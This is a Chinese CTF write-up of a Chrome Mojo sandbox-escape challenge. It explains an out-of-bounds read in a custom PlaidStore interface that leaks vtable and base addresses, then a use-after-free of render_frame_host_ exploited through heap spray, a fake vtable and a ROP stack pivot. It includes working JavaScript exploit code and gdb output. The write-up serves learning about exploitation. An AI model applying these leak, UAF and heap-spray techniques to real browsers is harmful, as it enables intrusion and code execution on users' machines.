__compressed_pair<pointer, allocator_type> __end_cap_;由于impl和vector在同一段上,其应该都是通过partitionAlloc动态分配出来的,所以我们可以大量分配impl,从而使impl和vector接近线性交替存放,并最终leak出来,这里我们的判断依据是虚表地址是页对齐的,也就是最后的0x7a0是不变的,从而找到虚表地址。1
2
3
4
5
6gdb-peda$ vmmap 0x00003268b2757ba0
Start End Perm Name
0x00003268b237d000 0x00003268b287c000 rw-p mapped
gdb-peda$ vmmap 0x00003268b2727f00
Start End Perm Name
0x00003268b237d000 0x00003268b287c000 rw-p mapped
因为虚表地址在chrome的只读数据段中(.rodata)上,所以可以通过减去偏移找到chrome的基地址。
这个偏移的计算相当简单,我一般直接vmmap看一下加载基地址,然后减去即可找到偏移。1
2
3
4
5
6
7
8
9
10
11
12
13
14gdb-peda$ vmmap 0x55555f50a7a0
Start End Perm Name
0x000055555f455000 0x000055555faf2000 r--p /home/sakura/mojo/chrome
gdb-peda$ vmmap
Start End Perm Name
0x000023612d770000 0x000023612d771000 ---p mapped
0x000023612d771000 0x000023612dc70000 rw-p mapped
0x0000555555554000 0x000055555824b000 r--p /home/sakura/mojo/chrome
0x000055555824b000 0x000055555f455000 r-xp /home/sakura/mojo/chrome
0x000055555f455000 0x000055555faf2000 r--p /home/sakura/mojo/chrome
0x000055555faf2000 0x000055555fb4e000 rw-p /home/sakura/mojo/chrome
...
gdb-peda$ p/x 0x55555f50a7a0-0x0000555555554000
$1 = 0x9fb67a01
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38async function oob(){
console.log("oob");
var ps_list = [];
var try_size = 100;
var vt_addr = 0;
var render_frame_host_addr = 0;
var code_base = 0;
for(let i = 0; i < try_size; i++){ //创建impl并store一些数据,从而创建vector
var pipe = Mojo.createMessagePipe();
Mojo.bindInterface(blink.mojom.PlaidStore.name,
pipe.handle1, "context", true);
var tmp_ps_ptr = new blink.mojom.PlaidStorePtr(pipe.handle0);
await tmp_ps_ptr.storeData("aaaa", new Array(0x30).fill(0x31))
ps_list.push(tmp_ps_ptr);
}
for(let i = 0; i < try_size; i++){
if(vt_addr != 0){
break;
}
var tmp_ps_ptr = ps_list[i];
let r = await tmp_ps_ptr.getData("aaaa", 0x100); //越界读取,这里设置成0x100,不能太大,防止读到一些不可访问的地址
let oob_data = r.data;
for(let i = 0x30; i < 0x100; i = i + 8){
let tmp_oob_data = b2i(oob_data.slice(i, i+8)); //因为读取到的是byte数组,所以要转回数值
if(hex(tmp_oob_data & 0xfff) == "0x7a0"){
vt_addr = tmp_oob_data;
code_base = vt_addr - 0x9fb67a0;
console.log('vt_addr is: ', hex(vt_addr));
console.log('code_base is: ', hex(code_base));
render_frame_host_addr = b2i(oob_data.slice(i+8, i+16));
console.log('render_frame_host_addr is: ', hex(render_frame_host_addr));
break;
}
}
}
r2p_rfh(hex(render_frame_host_addr));
r2p_code_base(hex(code_base));
}
有了chrome的基地址,我们就可以搜索gadget来构造rop了,这里我直接参考了这篇文章里使用的gadaget。
1 | ROPgadget --binary=./chrome > gadget.txt |
也可以这样,然后直接在文件里find需要的gadget,不再赘述。
虚表其实就是保存着函数地址的表,虚函数调用的时候,首先根据保存的虚表地址(vtable entry),找到虚函数表,然后再根据偏移在虚表里找到对应的函数地址。
所以只要改掉了其保存的函数地址,就可以在执行对应的虚函数时去执行任意代码。
我们来看一个正常的虚函数调用的汇编,这里我断在GetData,getData("aaaa", 0x100)
,虚函数调用也还是成员函数,所以第一个参数是this,也就是render_frame_host_的地址,然后key是”aaaa”,count是0x100。
如图看寄存器,rdi是0x88313358100
,rsi是”aaaa”,rdx是0x100,和我们刚刚的推论吻合。
再看汇编。
1 | mov rbx,rdi // rdi指向PlaidStoreImpl,是this |
这里就是在call虚函数IsRenderFrameLive,这个函数的地址保存在[rax+0x160],而由于前面所述的UAF的原因,render_frame_host_地址处的所有内容完全可控,所以rax的值我们完全可控。
1 | void PlaidStoreImpl::GetData( |
chrome上比较常用的是劫持栈指针到我们可控的位置,这里render_frame_host_
里的内容我们就完全可控,我们可以把栈指针劫持到render_frame_host_
上。
让rax里保存的地址为addr render_frame_host_+0x10
,这里就是新的虚表了。
UAF
接下来的执行将分成两部分。
- 首先对于
#parent
- 创建一个child iframe
- 然后通过MojoTest flag的特性,创建一个kPwnInterfaceName拦截器,并注册对应的处理函数
- 处理函数逻辑为
- 关闭拦截器
- 从接收到的MojoInterfaceRequestEvent里取出传过来的handle,用来初始化一个PlaidStorePtr指针plaid_store_ptr
- 返回这个指针给
#parent
- 打开拦截器
- 对于
#child
- 执行oob函数来leak出自己的render_frame_host_和chrome的基地址
- 创建Message pipe,将receiver端传给browser,用来bind到一个PlaidStoreImpl实例上
- 将remote端通过
Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
发给拦截器,从而触发对应的处理函数。
- 这样即使child iframe被remove掉,remote端仍被parent持有,所以message pipe不会被中断,和其绑定的child iframe里对应的PlaidStoreImpl也不会被析构,但此时PlaidStoreImpl里保存的child iframe的render_frame_host_已经被析构掉了。
- 此时,通过
#parent
里保存的plaid_store_ptr,就可以从remote端调用browser里PlaidStoreImpl的函数,从而触发UAF,具体代码如下:剩下最后一个问题,如何通过heap spray来占坑我们之前释放掉的iframe里的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55function allocateRFH(src) {
var iframe = document.createElement("iframe");
iframe.src = src;
document.body.appendChild(iframe);
return iframe;
}
function freeRFH(iframe) {
document.body.removeChild(iframe);
}
var kPwnInterfaceName = "pwn";
function sendPtr() {
var pipe = Mojo.createMessagePipe();
// bind the InstalledAppProvider with the child rfh
Mojo.bindInterface(blink.mojom.PlaidStore.name,
pipe.handle1, "context", true);
// pass the endpoint handle to the parent rfh
Mojo.bindInterface(kPwnInterfaceName, pipe.handle0, "process");
}
function getFreedPtr() {
return new Promise(function (resolve, reject) {
// create child iframe, allocate new RenderFrameHost
var frame = allocateRFH(window.location.href + "#child"); // designate the child by hash
// intercept bindInterface calls for this process to accept the handle from the child
let interceptor = new MojoInterfaceInterceptor(kPwnInterfaceName, "process");
interceptor.oninterfacerequest = function(e) {
// e is MojoInterfaceRequestEvent
interceptor.stop();
// bind the remote
var plaid_store_ptr = new blink.mojom.PlaidStorePtr(e.handle);
// get child iframe render_frame_host_addr
iframe_render_frame_host_addr = parseInt(window.frames[0].window.document.getElementById('render_frame_host_addr').innerText);
code_base = parseInt(window.frames[0].window.document.getElementById('code_base').innerText);
freeRFH(frame);
resolve(plaid_store_ptr);
}
interceptor.start();
});
}
async function trigger() {
// for #child
if (window.location.hash == "#child") {
await oob();
sendPtr();
return;
}
// for #parent
iframe_render_frame_host_addr = 0;
code_base = 0
var try_size = 100;
var kRenderFrameHost = 0xc28;
let ptr = await getFreedPtr();// free iframe
}render_frame_host_
,其实很简单,因为chrome里heap management是使用TCMalloc的。
所以我们通过StoreData分配出来的vector<uint8_t>
和render_frame_host_
是使用同样的分配器,也就是只要大量分配大小和render_frame_host_
相等的vector就可能占位上。
这里我们先看一下render_frame_host_
的大小,步骤如下,最终找到大小是0xc28
1 | gdb-peda$ info functions RenderFrameHostImpl::RenderFrameHostImpl |
我们可以直接拿之前获取的remote来调storeData,并在data里fake好gadaget和数据,还是刚刚的那个图。
1 | var uaf_ab = new ArrayBuffer(kRenderFrameHost); |
值得提到的一点是,虽然我们为storeData传入的是一个TypedArray,并在其ArrayBuffer里伪造了数据,但最终我们传到browser侧的实例里的storeData函数的仍然仅仅是一个vector<uint8_t>
,ArrayBuffer里伪造的数据就是vector的内容。
这里我们使用一个Array一样可以占位,演示如下:
1 | 修改代码为await ptr.storeData('1', new Array(kRenderFrameHost).fill(0x32)); |
可以看出从我们伪造的render_frame_host_
里取出到rax的vtable entry是0x3232323232323232
,和我们保存在array里的数据是完全一致的。
所以这里使用ArrayBuffer和TypedArray仅仅只是为了书写便利,没有额外的原因。
- 父子iframe之间的通信
最后需要提到的一点是,由于我们需要劫持rsp到被释放的render_frame_host_
上,而这个render_frame_host_
在我们的这个exploit里是child iframe的render_frame_host_
所以就要在child iframe里调用oob函数来leak出render_frame_host_
,而不是在parent里,这样就涉及到如何将child iframe里leak出来的地址传给parent。
这里我采用的方法是将leak出来的地址作为一个新的dom节点插入进去,然后在free掉child iframe之前,在parent里,通过window.frames[0].window.document.getElementById
的方式拿到child iframe的window,也就是拿到里面的所有dom节点,从而拿到在child iframe里leak出来的地址。
完整exploit
1 | <html> |